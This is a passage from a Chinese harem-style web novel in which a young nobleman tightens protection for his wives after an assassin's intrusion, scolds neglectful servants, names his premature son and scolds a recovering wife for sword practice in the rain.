林臻的眼神阴鸷而锐利:“去告诉青霞!让她好好给十二仙上上课!点醒她们!这次的耻辱,她们自己也该用脑子记住!上完课,立刻将她们派出去!保护所有夫人,像顾缜、司马椿蕾、晴雯、楚惜灵,张俪,还有婉儿!务必保证人手,从此刻起,诸位夫人的安全防护提升到最高等级!给我像铁桶一样护住!以后绝对不许再发生今日之事!” “卑职明白!定当将此令原话带到青霞夫人处!确保万无一失!” 侯春的声音斩钉截铁,抱拳的手用力指节泛白,重重点头,随即毫不拖泥带水,转身如风般消失在回廊拐角,去传达这雷霆指令。 林臻深吸一口气,强行压下心头翻腾的怒火与焦灼,大步流星地朝顾缜的别院走去。 这是一处相对僻静的院落。 林臻刚走到院门外不远处,就见一个穿着简朴布衣、系着围裙的妇人正提着一个不小的木水桶,桶沿水花微漾,显然分量不轻,正要迈步跨过院门高高的门槛。 “顾夫人?”林臻有些讶异,出声喊道。 那妇人闻声回头,脸上先是一愣,认出是林臻后,立刻绽开朴实热情的笑容,慌忙放下水桶,手在围裙上擦了擦:“哟!世子!您怎么来了?快!快请进!” 她说着又俯身要去提那水桶。 林臻眉头一皱,快步上前拦住她:“您这是做什么?怎么能让您亲自提这么重的水桶?院子里的丫鬟下人呢?都干什么吃的?” 语气中带着明显的不悦和责问。 顾夫人连忙摆摆手,笑容里带着些习惯性的劳碌命:“哎哟,世子言重了!不重不重,这点活儿算啥。老身这些年啊,自己动手都习惯了,那些小丫鬟笨手笨脚的,真不如自己来快当!世子您快里面请!” 她态度坚决地拒绝了林臻伸手帮忙的好意,自己重新提起水桶,脚步利落地带头走进了院子。 林臻无奈,只能跟着进去。 一进院门,便看到整个院落收拾得异常整洁干净,连一片落叶都看不到,花草修剪得一丝不苟,显然是顾夫人长期精心打理的结果。 院中央的雕花小亭里,顾缜正挺着明显的孕肚,安静地坐在石桌旁,手中捧着一本书,纤细的手指轻轻翻动书页。 阳光洒在她清冷的侧脸上,有种远离尘嚣的静谧感。 “缜儿!世子来看你了!”顾夫人放下水桶,朝着亭子方向欢喜地喊道。 顾缜闻声抬起头,看到走进院子的林臻,脸上并无过多惊喜,只有一贯的平静。 她放下手中的书册,一手撑着石桌,一手护住腹部,有些迟缓地站起身,沿着亭子的台阶一步步走下来,来到林臻面前,依旧行了一个完美的、带着距离的福礼,声音平缓无波:“见过夫君。” 林臻看着她那清冷疏离的样子,心中那点因担忧而起的怜惜又浓了几分。 “嗯。” 他点点头,目光扫过她隆起的腹部,“最近身体如何?可有不适?” 语气难得地放柔和了些。 “托夫君的福,尚好。”顾缜的声音依旧淡淡的,听不出情绪起伏。 林臻的目光又落在那个显得过于空旷安静的院落,以及角落里那只刚放下的水桶上,眉头再次拧起:“我知道你性子喜静,不爱与人争抢,凡事不声张。但这不是你委屈自己、让你娘亲亲自操劳做粗活的理由!” 他的声音带着不容置喙的严肃,“院子里的丫鬟和小厮呢?都死哪儿去了?” 顾缜似乎对他语气中的严厉毫无反应,依旧平静地陈述:“回夫君,臣妾身边只留了一名自幼跟随的贴身丫鬟,此刻她外出采买东西未归。至于院中当值的小厮——” 她的目光平淡地扫过几个空置的廊下角落,“大约是在何处休息吧。” “混账!”林臻的火气“噌”地就上来了,压抑许久的情绪找到了宣泄口,猛地一拍身边的廊柱,发出沉闷的响声。 “反了天了!主子在这儿站着伺候自己,下人倒敢躲清闲去休息?!来人!” 他对着空气厉声喝道,“立刻!把这院里所有当值的丫鬟、小厮统统给本世子叫过来!一个也不许漏!” 院外侍立的一个王府丫鬟听到世子的吼声,吓得一个激灵,慌忙应道:“是!世子!” 转身飞奔着去喊人。 顾夫人见状,知道接下来没自己事,也很识趣地对林臻笑了笑,悄无声息地退回了自己暂住的厢房。 林臻则伸出手,轻轻揽住顾缜的腰身,半扶半带着她往屋内走去:“外边有风,我们进去说。” 他的动作带着一种强硬的温柔。 第573章 觉得顾缜好欺负? 进了温暖雅致的内室,林臻扶着顾缜在铺着软垫的圈椅上坐下。 他蹲下身,平视着顾缜那双平静无波的眼睛,语气变得前所未有的温和:“缜儿,为夫最近来的少,委屈你了。你要顾着自己的身体,你现在怀着身孕,不同往日。这些粗活累活,万万不可再碰。没事的时候,适当走动走动,晒晒太阳就好,这样对你对孩子都好。” “嗯,妾身知道了。”顾缜微微颔首,语气依旧淡淡的。 林臻看着她这副仿佛与世无争的样子,心里那点异样感越来越浓。他试探性地问道:“缜儿,你就不好奇,我为什么突然过来看你?” 顾缜抬起眼帘,看了他一眼,那目光清澈得能映出人影,声音依旧平缓:“夫君想告诉妾身,自然会告知。夫君不说,臣妾不便多问。” 这极致的“懂事”和“疏离”,让林臻心里更不是滋味。他轻轻叹了口气,决定直言:“府里今早闯进了刺客。” 顾缜那如同平静湖面的眼眸终于有了一丝极细微的波动。 林臻继续道:“那刺客凶悍异常,险伤晴雯,甚至承煜也差一点遭毒手!” 说到此处,他眼中再次闪过一丝寒芒,“万幸的是青霞反应迅捷,出手将刺客成功擒拿!只是她也因此动怒动了胎气,直接导致早产。” 他停顿了一下,声音低沉了几分,“就在一个多时辰前,已经分娩结束。母子平安。” 顾缜安静地听着,当听到最终平安四个字时,她那微微抿起的唇角似乎有极其短暂的松懈,随即恢复了平淡,只是低低说了一句:“老天保佑。” 这话虽短,但林臻捕捉到了那一闪即逝的松了口气。 他看着她,眼神变得异常认真:“我今日来此,也正是与此事有关。” 他伸出手,轻轻握住顾缜放在膝上的微凉小手,“之前为夫有意冷落青霞,没有去看望,实则是想看看噬心蛊是否会对胎儿本身造成伤害。” 他的目光变得深邃,像是在斟酌每一个字的分量:“今日青霞之子那番险死还生,又突然复活的离奇遭遇。虽然凶险万分,但其根由似乎并非直接作用于胎儿本体。孙神医最终诊断,孩子很健康。这反倒让我意识到,噬心蛊并非什么坏事,所以为夫今天来给你喂点药,确保万全。” 顾缜那万年不变、清冷如雪的面容上,随着林臻这番话,罕见地飞起一抹淡淡的红晕,如同冰层下骤然绽放的红梅,带着别样的羞涩。 她微微垂下眼睑,长长的睫毛在眼下投下一小片阴影,声音轻得像一片羽毛拂过耳际:“嗯……都听夫君的。” 带着一种将自己全然交托的温顺。 就在这时,门外传来小心翼翼的声音:“世子,人都到了。” 林臻脸上瞬间笼罩上一层寒霜,松开顾缜的手,霍然起身。 走到外间门口,只见院子里黑压压跪了一群人,粗粗看去,足有七八个丫鬟小厮。 方才被顾缜派去买东西的那名贴身丫鬟也刚刚赶回,吓得脸色惨白,跟着众人扑通一声跪倒在地。 林臻凌厉冰冷的目光如同刀子般扫过每一个人,最后落在那名贴身丫鬟和几个小厮头目身上,猛地一拍身边的八仙桌,发出砰的一声巨响! “好大的狗胆!一群下贱的懒奴!让你们在院子里当差是吃干饭的?竟敢偷懒不作为!让主子挺着大肚子没人伺候!让主子的亲娘提着沉重水桶做粗活?!” 他声音不高,却字字如同冰锥刺骨,“是不是看顾缜夫人性子好,不争不抢不言语,你们就蹬鼻子上脸,觉得她好欺负?!不想活了是吧!” 整个院子里鸦雀无声,落针可闻。刚才那个辩称在休息的小厮头目被这气势吓得魂飞魄散,连滚带爬地跪前一步,抬手啪啪啪狠狠抽了自己几个耳光,哭丧着脸哀嚎道。 “世子息怒!世子饶命啊!小的们万万不敢有欺负夫人的心思!是夫人她素来喜静,不喜人打扰,也不让小的们多进院做事,只让在院外听候。小的们才疏于院内伺候!绝非有意偷懒!求世子明鉴!饶了我们这一回吧!” “哼!”林臻冷哼一声,眼神没有丝毫缓和,“喜静?不让多做事?你们倒是会挑话说!” 他指着那依旧满满的水桶,“顾夫人提着桶进院子,需要人手的时候,你们在哪?!这就是你们听候差遣的态度?耳朵都聋了,眼睛都瞎了吗?!我告诉你们,从今日起,这院子里的规矩改了!该干的活儿,必须抢着干!用心干!顾老夫人和顾缜夫人但凡需要什么,必须随叫随到!若是再让我看到她们母女二人有一丝一毫的亲力亲为,或是我知道你们敢有半分怠慢……” 林臻的声音陡然拔高,带着森然杀意:“那本世子就要你们所有人的命!听清楚了吗?!” “听清楚了!听清楚了!” “小的不敢了!再也不敢了!” “世子息怒!小的们一定改!一定改!” 一群丫鬟小厮如同小鸡啄米般拼命磕头,声音抖得不成样子。 “都滚!各司其职,该干什么干什么去!别在这里碍眼!”林臻不耐烦地一挥手。 这群人如蒙大赦,连滚爬带地、你推我搡地逃离了这个让他们恐惧至极的院落,连头都不敢回。 看着清静的院子,林臻吐出一口胸中浊气,脸上煞气稍退。 他转身回到里间门口,没有进去,只是放柔了声音对里面道:“缜儿,下人都重新安排过了,外面安静了。” 片刻,顾缜的身影出现在门口。 林臻上前,自然而然地牵起她的手。 顾缜没有拒绝,任由他牵着,脸颊上那抹淡淡的红晕尚未完全退去。 “走,回房间去,乖乖吃药。”林臻的声音带着一丝只有她才能感受到的深意。 顾缜垂下眼睑,微不可察地点了点头,任由林臻牵着她,走向卧房深处。 …… 第574章 次子,承树 当夕阳的最后一抹余晖消失在地平线,夜幕悄然笼罩了京都。 然而王府小公子降世并经历险死还生之劫的消息,早已如同长了翅膀般飞遍了整个京城,在各大豪门府邸、勋贵官邸、乃至一些消息灵通的市井间流传开来。 于是乎,夜幕降临之际,诚王府门前却反而车水马龙,华贵的马车一辆接一辆抵达。 各府门房、管事纷纷亲自登门,或手持烫金礼单,或指挥着家丁抬着装满绫罗绸缎、珠宝玉器、名贵补品的箱笼,恭恭敬敬地向王府门房送上贺礼,言语间满是道贺之辞。 王府负责接待礼物的管事和小厮们忙而不乱,虽然收礼收到手软,面上依旧保持着王府的矜持与礼数。 林臻早有吩咐,管事便对每一位前来送礼的代表说道:“请代我家世子爷多谢贵府大人/侯爷/阁老厚意!世子爷特意交代转告,小公子此番来得惊险,夫人也是历经磨难,所以暂时不便公开见客。待一个月后,府中将为小公子举行满月宴,届时诚邀诸位大人拨冗莅临!” 话语客气周到,却也带着不容置疑的威势。 送礼之人自然连连称是,满口应承,带着王府的答复满意而归。 喧嚣退去,夜色渐深。林臻处理完这些迎来送往的事务,脚步有些疲惫地走向婉儿的居所。 房间内灯火明亮而温暖。 他轻轻推开门,走了进去。 只见婉儿正背对着门口,侧坐在窗边柔软的贵妃榻上,手中细密的针线上下翻飞,聚精会神地绣着什么。 暖黄的烛光勾勒出她专注而柔美的侧影。 她太投入了,以至于林臻已经走到她身后不远,都未曾察觉。 林臻看着她指间灵活牵引的丝线,目光落在那已经初见雏形的、小小圆圆的彩色肚兜上,心头微暖,声音不自觉地放柔:“绣这么快?这是什么时候开始绣的?” “呀!”婉儿被这突然响起的声音惊得一颤,手下的针线差点扎到自己。 猛地回头,看到是林臻,娇嗔地拍了拍胸口,那瞬间慌乱后绽放的温柔笑容如春花初绽:“夫君!您怎么走路又没声儿的!吓死妾身了!” 她放下手中的绣绷,轻轻舒了口气,才带着笑意解释道:“这哪是绣得快?这是妾身前些日子早就开始着手做的了。原想着这孩子还有差不多一个月的功夫才出生,日子也算宽裕,能细细地做。谁曾想这小子竟这般性急,等不及日子就自己跑出来了!这不,只能临时赶一赶工,抓点紧了。还差好多细节呢。” 她说着,手指爱怜地抚摸了一下那细腻的锦缎和上面活灵活现的小老虎图案。 林臻自然知道,她这是在给他们那早产的小儿子做贴身肚兜。 他心头一片柔软,在她身边坐下,伸手环住她的腰,笑道:“这小子确实出人意料得紧,性子这么急,随谁呢?” 他沉吟了一下,“名字还没好好想。但他属于承字辈,不如,就叫承树如何?” 婉儿依偎在他怀里,听到这个名字,眼睛亮了亮,笑道:“承树,夫君起的名字,自然是极好的!只是……” 她微微犹豫了一下,抬头看向林臻,“这件事情是不是也该问问青霞妹妹的意思?毕竟,她是小承树的生母。” 林臻闻言,有些意外地看着她:“你怎么会想到要问青霞?你不是最注重传统了吗?传统里,难道不是我说什么就是什么?” 婉儿听了,美目流转,微微翻了个优雅的白眼,带着几分少见的俏皮和埋怨打断他:“哎呀!夫君!您这话说的!还不是您之前开导妾身,要妾身改改性子,别总端着架子嘛。妾身这些日子,可是真真记在心里,也在改变呢。如今妾身真改了些,按您说的去考虑了,您倒又不乐意啦?” 她半真半假地嗔怪道。 林臻哑然失笑,连忙将她搂紧了些,轻轻捏了捏她的脸颊,心中是说不出的欣慰:“没有没有!我哪里有不乐意?好奇而已!你肯这么想,肯这样做,我高兴还来不及呢!” 他由衷赞道,“不愧是我的婉儿!就是乖巧懂事!” 他低头在她额头亲了一下。 婉儿满足地依偎着他,感受着他有力的心跳。 忽然,林臻看似随意地提了一句:“哦,对了,我刚去过顾缜那里了。给她也送了点药去。希望以后家里,真的不会再有今日这等惊心动魄的事情发生了。” 婉儿靠在他怀里的身体几不可查地微微一僵,正放在他衣襟上的手指,下意识地轻轻蜷缩了一下,动了一动。 这微小的动作几乎难以察觉。 她的声音依旧温婉,只是似乎带上了一丝不易察觉的紧迫感:“夫君说的是,家里现在真像是四面透风的墙,令人难以安心。区区一个刺客竟然能悄无声息地潜入!这次是青霞妹妹侥幸下次若换成我们……” 她微微支起身,仰头看着林臻,眼中流露出真切的忧虑,“夫君,我们没有前日防贼的道理。您看是不是该趁着刺客还在我们手里,尽快审问?把那些隐患早早连根拔起才好?” 林臻低头看着婉儿那写满担忧的柔美脸庞,眼神变得深邃起来。 他伸出手,指节分明的手指带着一丝宠溺地轻轻刮了刮她挺翘的鼻梁,嘴角勾起一抹了然于胸、带着狠厉冷意的弧度:“傻瓜……” 他的声音低沉而自信: “你真以为以青霞的性子,她会安安静静地放过那个险些害死她和孩子的刺客?会放任那背后的黑手继续逍遥?” 林臻眼神锐利如刀锋,仿佛能穿透墙壁,看到此刻另一个院落中可能发生的景象: “我不说话,不阻止,正是要让青霞去亲自处理!让她把这口气出了!让她用她最擅长的方式去办!” 他搂着婉儿的手臂紧了紧,语气冰冷而笃定: “这头母老虎……从来就不是什么省油的灯!今天这事,对她来说,绝对是奇耻大辱!对她造成的冲击,可能比我们想象的还要大得多!” “所以,这口恶气……” 林臻的声音斩钉截铁,带着一股令人心寒的决绝: “必须让她亲手出在刺客的身上!必须让她顺藤摸瓜,亲自把那幕后的黑手连根带皮地扒出来!只有这样,才能既解了她心里的毒刺,也能永绝后患!” 他冷笑一声,眼中杀机一闪而逝。 第575章 春雨 清晨的天空灰蒙蒙一片,酝酿了数日的浓厚水汽终于不堪重负,化作了一场声势浩大的春雨。 豆大的雨点毫无预兆地“噼啪”砸落,顷刻间便将天地笼罩在一片密集的、带着凉意的水帘之中。 林臻在雨声中醒来。 起身时,婉儿也已准备妥当,正亲自端了水盆和毛巾过来伺候他梳洗。 “夫君醒了!” “嗯,下雨了?” “是呀,这场春雨终于下了,否则妾身还担心会不会干旱呢。” 屋内光线有些黯淡,外面哗哗的雨声显得室内格外静谧。 林臻起身坐到铜镜前的梳妆台边,任由婉儿替他梳理那一头浓密乌黑的长发。 婉儿纤细灵活的手指温柔地穿梭在他的发丝间,动作娴熟。 她用象牙梳一下下理顺长发,一边梳一边轻声赞叹:“夫君这头发真是生得好,又直又浓密,梳理起来顺滑无比,从不打结。妾身伺候起来也省心呢。” 她的声音温婉悦耳,带着晨起的慵懒。 林臻没有接话,他深邃的目光穿过半开的菱花窗,落在院子里。 雨势正大,无数晶莹的雨线如同断了线的珠帘,密密麻麻地砸在院中那几株盛放的梨树上。 洁白如雪的梨花花瓣被打得纷纷坠落,混入泥泞,显得几分狼藉又透着几分被风雨摧折的凄美。 他望着雨幕,眼神有些放空,不知在想些什么。 婉儿一边说着话,一边熟练地将林臻柔顺的长发向上拢起,缠绕盘绕出一个发髻,最后用一支简洁却质地温润的玉质发冠稳稳固定住。 她后退半步,满意地端详了一下自己的成果。 然而林臻依旧保持着望着窗外的姿势,几乎没有动过。 良久,他轻轻叹息一声:“唉,也不知道颜颜怎么样了,可有没有受伤。” 婉儿说:“颜颜最是好战的,不过全天下能伤她的也不出几个人,夫君还是不用担心。” “你不知道,那妮子性格最急,嘴又笨,三言两语不对付就要和人家打架,这次是在战场上,刀剑无眼,万一伤到可怎么是好。” “那夫君要把她调回来嘛?” 林臻摇摇头:“除非战争结束,否则调回来是不可能的。这样不仅会霍乱军心,颜颜也不可能同意,还是老老实实在家等消息吧。” “比起颜颜,我更担心的是胖子。”林臻声音里带着一丝不易察觉的牵挂与怅惘。 婉儿拿起一旁温热的湿毛巾,轻轻为他擦拭后颈,柔声安慰:“夫君放心便是了。王爷乃是华夏大地威震四海的战神,运筹帷幄,用兵如神。胖子将军他们既是王爷的心腹干将,又得王爷亲自指点统兵,自当无往不利。这般风雨,想来不过是寻常历练罢了。” 她的话语带着对镇北王无条件的信赖。 林臻扯了扯嘴角,露出一抹有些无奈的笑容:“道理我都懂。可这心里头吧就是有点空落落的,特别是那个死胖子,” 他语调略微提高,带着熟稔的抱怨,“在京里那会儿,三天两头的给我惹是生非,气得我头疼。可这人吧……才走了这么些时日,我又忍不住想他,想他那滚刀肉的模样,想跟他插科打诨的日子……” 他摇摇头,脸上表情复杂,“这人呐……” 婉儿被他的样子逗笑了,放下毛巾,绕到他身前,握住他的手,温言道:“夫君此言正是人之常情呢。朝夕相对时,嫌他吵闹聒噪;一旦天各一方,方才念及往日种种热闹。正所谓远香近臭,不外如是。” 她眼波流转,带着温柔的恳求,“今日雨势虽大,却无狂风,倒也别有韵味。古人云:留得枯荷听雨声,也是雅事一桩。夫君整日操劳,不若今日偷得浮生半日闲,陪妾身在这雨中庭院走走、听听雨声?权当舒缓心神了?” 林臻看着婉儿真挚温婉的脸庞,心中的阴霾似乎被这温言软语驱散了些许。 他反手握住她微凉的手,点了点头:“也好。这雨景也算难得。命人将早膳摆到临水的那座八角亭里去,顺便叫上晴雯、浣碧一起过来。用完膳,我们就在府里各处随意转转,看看这春雨下的景致。” “是,妾身这就去安排。”婉儿眼中闪过欢喜,福了福身,立刻出去吩咐。 那临水的八角石亭建在一片开阔地带,四周点缀着太湖石和应季的花木。 亭子宽阔大气,穹顶八角飞檐斗拱,雕梁画栋,刻画着精细的花鸟鱼虫纹饰,古朴雅致。 今天的雨水如同密集的珠串,直直地从天而降,砸在青石板上,碎成万千水花,发出持续的“哗哗”声。 但因风向平和,雨丝垂直落下,并不会斜扫进宽敞的亭内,行走于廊下也不会沾湿衣衫。 很快,丰富精致的早膳便已布置妥当。 热气腾腾的小米粥、金黄松软的鸡蛋饼、鲜嫩的水晶虾饺、细滑的鸡丝卷、几碟清爽的时令小菜,特别是林臻最爱的脆爽酱腌萝卜条,都井然有序地摆放在石桌上。 林臻与婉儿各自撑了一把素雅的油纸伞,并肩沿着回廊向亭子走去。 雨水在伞面上汇聚成流,顺着伞骨滴落。 回廊外,一条清澈的人工小溪蜿蜒流过亭侧,溪水因为雨水的加入变得有些湍急,几尾锦鲤好奇地浮到水面,张着小嘴汲取着新鲜空气。 石板路两侧的石缝里,几株不知名的野花倔强地绽放出或淡紫或嫩黄的花朵,在雨水的冲刷下,显得格外清新娇嫩。 雨点敲打在亭子的琉璃瓦顶上、掉入溪水中、砸在阔大的芭蕉叶上,发出或清脆或沉闷、或短促或连绵的“噼啪”、“叮咚”、“沙沙”的声响,交织成一首自然天成的、悦耳的雨之乐章。 两人步入暖意融融的亭中,将伞交给侍立在旁的丫鬟。 婉儿替林臻解下沾了些许湿气的外氅,两人刚在铺了软垫的石凳上坐下,便听到一串清脆娇媚的笑声和一个咿咿呀呀格外兴奋的婴孩声音由远及近。 只见晴雯穿着一身水绿色的春衫,怀里抱着正咯咯笑得手舞足蹈、兴奋得小脸通红的承煜,风风火火地走进亭子。 她娇嗔地对林臻说:“夫君!您瞧瞧!咱家这小祖宗怕不是个小天才投胎转世的吧?刚才妾身说要抱他来这边陪您和夫人用早膳,他倒好,在奶娘怀里听得懂似的,死扒着奶娘的衣服,赖着不肯跟妾身走,哇哇哭得震天响!小嘴还瘪着,可委屈了呢!非得妾身说‘去找爹爹’,嘿!他立马就不哭了,眼巴巴伸着小手要妾身抱!您说,谁家三四个月大的娃娃就能听懂‘爹爹’,还能认人找爹了?这不是天才是什么?” 第576章 青霞舞剑 晴雯语速飞快,眉飞色舞地讲述着,语气里满是炫耀和宠溺。 林臻脸上的笑意瞬间漾开,变得无比柔软。 他张开手臂:“来,让爹爹抱抱我们的小天才。” 说着便从晴雯怀里把兴奋得直蹬小腿、小脸放光的小承煜接了过来。 小家伙一落入父亲宽阔安稳的怀抱,更是乐开了花,一双乌溜溜的大眼睛弯得像月牙,张开胖乎乎的小胳膊,紧紧搂住林臻的脖子,小嘴里清晰地、带着浓浓的亲昵和依赖蹦出两个词:“爹爹!抱!爹爹抱!” 声音清脆响亮,口齿清晰得不像个婴儿。 “哎哟!我的乖儿子!哈哈哈哈!”林臻头一次当爹,被这一声喊得心都要化了,越发觉得晴雯说得没错,这孩子早慧得惊人! 他满心怜爱喜悦,忍不住用手指轻轻去逗弄承煜肉嘟嘟的小下巴。 承煜咯咯直笑,小嘴也咧得大大的。 忽然,林臻逗弄的手指不经意间碰触到了承煜的口腔内侧,指尖传来一个明显硬硬的凸起感! 林臻脸上的喜悦瞬间凝固,化为极致的惊奇! 他小心翼翼地用指腹再次轻轻划过那片牙龈,确认无疑! “天呐!”林臻猛地抬头,看向一脸不明所以的婉儿和正得意的晴雯,声音里带着破音的兴奋,“婉儿!晴雯!你们快看!快摸!承煜他居然长牙了!!!” “什么?!” “不可能吧!” 婉儿和晴雯几乎同时惊呼出声,满脸的不可置信。 婉儿立刻凑过来,晴雯也忙不迭伸出手指。 林臻小心翼翼地把小承煜抱低些,让他们查看。 婉儿纤细的手指轻轻一碰,脸上立刻露出了和方才林臻一模一样的震惊表情:“天啊……真的!下牙这里冒了个小尖尖!这……这怎么可能?他才多大?四个多月啊!” “哈哈哈哈!”林臻瞬间爆发出一阵爽朗开怀的大笑,巨大的欣喜和自豪感涌上心头,让他忘形地将小承煜高高地举过头顶! 小家伙被举高高,更加兴奋,在空中踢蹬着小脚丫,发出咯咯咯的响亮笑声,似乎也在为自己的“壮举”感到开心! “呦!我们的小承煜长牙喽!以后就能自己啃果子吃喽!真是爹娘的好大儿!”林臻的声音在雨声里格外响亮,透着浓浓的骄傲和宠爱。 这时,一道柔美的粉色身影姗姗来迟,缓缓步入亭中。 是浣碧。她今日穿了一身素雅的粉色贴身云纹长裙,很好地勾勒出纤秾有度的身材,但她的脸色却透着一股掩饰不住的倦怠,连唇色都显得有些淡。 林臻一边小心地将咯咯笑的小承煜交还给眼巴巴看着的晴雯抱着,一边关切地看向浣碧,眉头微蹙:“碧儿,你这是怎么了?脸色瞧着有些不大好?可是昨夜没歇息好?” 浣碧摇摇头,走到近前,勉强提起精神露出一抹温顺的笑容,声音也比平日柔弱了几分:“劳夫君挂心了。妾身也不知为何,这几日总觉身上懒懒的,提不起什么劲儿来,睡醒了也好像跟没睡够似的,倦得紧。兴许是春困吧。想是好好歇息几日,自然便好了。” 林臻看着她强打精神的模样,心疼更甚,神色严肃起来:“春困也不至于这般气色。不行,不能大意。等下用过早饭,立刻请孙神医过来给你仔细瞧瞧脉。不许推脱!” 浣碧见林臻态度坚决,眼中闪过一丝温暖,顺从地点头:“是,夫君。妾身听您的便是。” 乖巧地在预留的位置上坐下。 四人加上小承煜一同落座。 林臻刚端起那碗自己最爱的黄澄澄、散发着谷物清香的小米粥,便听浣碧提到:“对了,夫君,月妩姐姐一早就让人传话来了,说今早得闲,已经去酒楼那边照看了。” 林臻刚送到嘴边的粥碗一顿,眉头立刻拧了起来:“这妮子!肚子里还揣着一个呢,怎么又往酒楼跑?雨大路滑,万一磕着碰着怎么好?!真是不安分!” 他无奈地放下碗,“等晚些她回来,非得好好说她几句不可!太不当心了!” 心里已经盘算着等月妩回来要如何“教育”她了。 匆匆用过早饭。林臻看着亭外雨势似乎小了些,从倾盆转为了连绵细丝。 他提议道:“趁着雨小了,我们一道去青霞那儿看看吧。她刚生完孩子,又在鬼门关走了一遭,于情于理都该多去看顾。看过她,若是月妩还没回来,我们再去她院里瞧瞧。” 晴雯和婉儿自然点头应是。 浣碧也站起身。 林臻吩咐随行的丫鬟多备了一把更大的双人撑开的油布大伞,足以将他和抱着孩子的晴雯,以及旁边的婉儿、浣碧都笼罩在内。 两名身材高挑有力的丫鬟分别撑住两边伞骨,稳稳地举着这柄巨大的伞,在前方引路。 林臻则一手小心地护着晴雯怀里又开始兴奋东张西望的小承煜,一边与两位夫人并肩行走在湿润洁净的青石板路上,穿过几重月洞门,向着青霞居住的清幽院落走去。 细雨如酥,无声地飘洒着,空气中弥漫着泥土与草木混合的清新气息。 刚刚踏入青霞院落的月洞门,林臻的目光就被院中一道白影牢牢吸引住! 只见在那片被细雨洗刷得格外洁净翠绿的庭院中央,一道修长挺拔的白色身影,赫然正执着一柄长剑,身形矫捷,剑光闪烁,在绵绵细雨中翩然起舞! 剑尖划破雨幕,带起一溜溜晶莹的水线。 那身法时而矫若游龙,时而迅如惊鸿,一招一式间蕴含着凌厉的劲道与森然的剑意! 白色的身影在朦胧雨气中翻腾跳跃,虽无劲风相随,却自有一股迫人的锋锐之气迸发而出! 细雨打湿了她的鬓角、肩头,但那舞剑的身影却仿佛完全沉浸在自我的世界里,浑然不觉。 不是刚刚分娩完的青霞,又能是谁?! “青霞!快停下!” 林臻的心瞬间提到了嗓子眼! 巨大的惊愕和强烈的担忧如同冰水浇头! 他几乎下意识地出声喝止,声音因为紧张而拔高,穿透了细密的雨声: “你疯了吗?!不要命了?!刚生完孩子才几天?!身上还有伤!这种时候淋雨练剑,你想落下病根不成?!快给我住手!” 他一边厉声喊着,一边脚步如风就要踏入雨幕之中冲过去。 第577章 口供 “青霞!快停下!” 林臻的怒吼声如同惊雷炸响在庭院上空。 那在雨中舞剑的白色身影骤然一滞! 剑尖垂落,带起一串水珠。 林臻已如离弦之箭冲到近前,一把死死扣住了青霞握剑的手腕! 入手一片冰凉湿滑,雨水早已浸透了她的衣衫和肌肤。 林臻心中的怒火与心疼瞬间交织升腾,转化为更为严厉的质问,几乎是吼出来。 “就算心里憋着火气,再恼再恨,也不能用这种糟蹋自己身体的方式来发泄!你是习武之人,刚生完孩子正是气血亏虚的关头!淋雨受寒练功?你这是要往死里折腾自己不成?!” 青霞被他强硬地抓着,被迫停下动作。 雨水顺着她如墨的发丝淌下,滑过饱满光洁的额头、挺秀的鼻梁、紧抿的唇线,最终滴落在湿透的衣襟上。 她倔强地昂起头,清冷的脸上毫无表情,只有那双深邃如寒潭的眼眸里,翻涌着难以言喻的激烈情绪,任由冰冷的雨水冲刷着脸庞,声音带着一种被压抑后的沙哑,却依旧固执:“妾身许久未曾凝神练武,招式都生疏了……” “生疏个屁!再重要也没有你的身子重要!”林臻气得口不择言,手上力道更大,不容她丝毫挣脱,“给我回屋去!练功什么时候不能练?非要赶在这要命的月子里?你是想让下半辈子落下病根吗?给我进去!” 他几乎是半拽半拖着,强硬地将青霞往灯火通明的房间里带。 与此同时,抱着小承煜的晴雯、带着一脸担忧的上官婉儿以及还有些倦色的浣碧,也都在丫鬟的簇拥下快步跟进了温暖干燥的正屋。 屋内暖意融融,驱散了雨水的寒意。 婉儿在铺着锦垫的玫瑰椅中落座,看着被林臻拉进来、浑身湿漉漉还散发着倔强气息的青霞,轻叹一声,语气温和却带着不容置疑的规劝:“青霞妹妹,今时不同往日。你如今已是王府正经的贵夫人,更是承树少爷的生身母亲。万事都要以自己的身体为第一要务。意气用事,伤的是自己,也让关心你的人跟着揪心。” 面对上官婉儿,青霞身上那股冰冷倔强的气息收敛了一些。 她深知婉儿在林臻心中的地位,更曾听闻过这位世家嫡女为林臻所做过的一切。 她垂下眼睑,声音也低沉平复了些,带着一丝不易察觉的顺从:“姐姐教训的是。妹妹记下了。” 但这认错的话语中,并无多少真正平复的迹象。 此刻,她一身原本飘逸如仙的素白长裙,因完全被汗水和雨水浸透,紧紧地包裹在她那线条起伏惊人的娇躯之上。 丝绸的质地遇水后变得几近半透明,清晰地勾勒出脖颈以下那惊心动魄的曲线,修长优雅的天鹅颈下,肩若削成,精致的锁骨如同振翅欲飞的蝶翼。 往下,是饱满傲人的弧度在湿衣下异常清晰地挺立,随着她急促尚未平复的呼吸微微起伏。 纤腰不盈一握,却在湿衣勾勒下更显出一种充满力量感的柔韧;浑圆挺翘的臀线在薄绸下绷出令人血脉贲张的曼妙弧度,一双笔直修长的玉腿轮廓更是若隐若现。 雨水的润泽与湿衣的贴合,将她魔鬼般妖娆却又蕴含爆发力的身材暴露无遗,充满了令人窒息的美感和强烈的视觉冲击力。 青霞的目光穿透众人,落在林臻脸上,声音微哑,带着一丝掩饰不住的疲惫:“夫君……妾身先去换身干爽衣物。” 林臻看着她湿透的衣衫紧贴身躯展现出的惊心动魄的曲线,心头那股恼怒被一丝疼惜取代,但语气依旧带着不容置疑:“快去吧!用热毛巾好好擦干身上的湿气!我这就让人去给你烧热水,等会儿你好好泡个热水澡,驱驱寒气!” 他上前一步,替她将黏在颊边一缕湿发拨开,声音放软了些,却也带着严肃:“下不为例!万万不能再如此莽撞冲动了,知道吗?” 青霞没有言语,只是深深地看了林臻一眼,那眼神复杂难辨。 谁都能清晰地感受到她周身弥漫的那种沉默而汹涌的低气压,绝非一句劝慰就能化解的心结。 她微微颔首,便一言不发地转身,快步走向内室的屏风之后。 摇曳的白色湿衣背影,带着压抑的锋芒和沉重的怒气离去。 看着她消失在屏风后的身影,林臻长长地、无比沉重地叹了口气,捏了捏眉心,疲惫地坐回椅中,对着三位夫人和晴雯怀里的孩子无奈道。 “唉……这倔强的妮子!心里肯定还憋着一股邪火!为着那该死的刺客,怕是把整个江湖都恨上了!这口气出不来,她怕是会憋坏了。” 话音未落,一阵清冷的风裹挟着雨丝的气息从门口卷入。 众人目光投去,只见一身清冷月色长裙、如同高山雪莲般的璃月仙子悄无声息地走了进来。 她脸上罩着一层万年不化的寒霜,眼神犀利如刀锋。 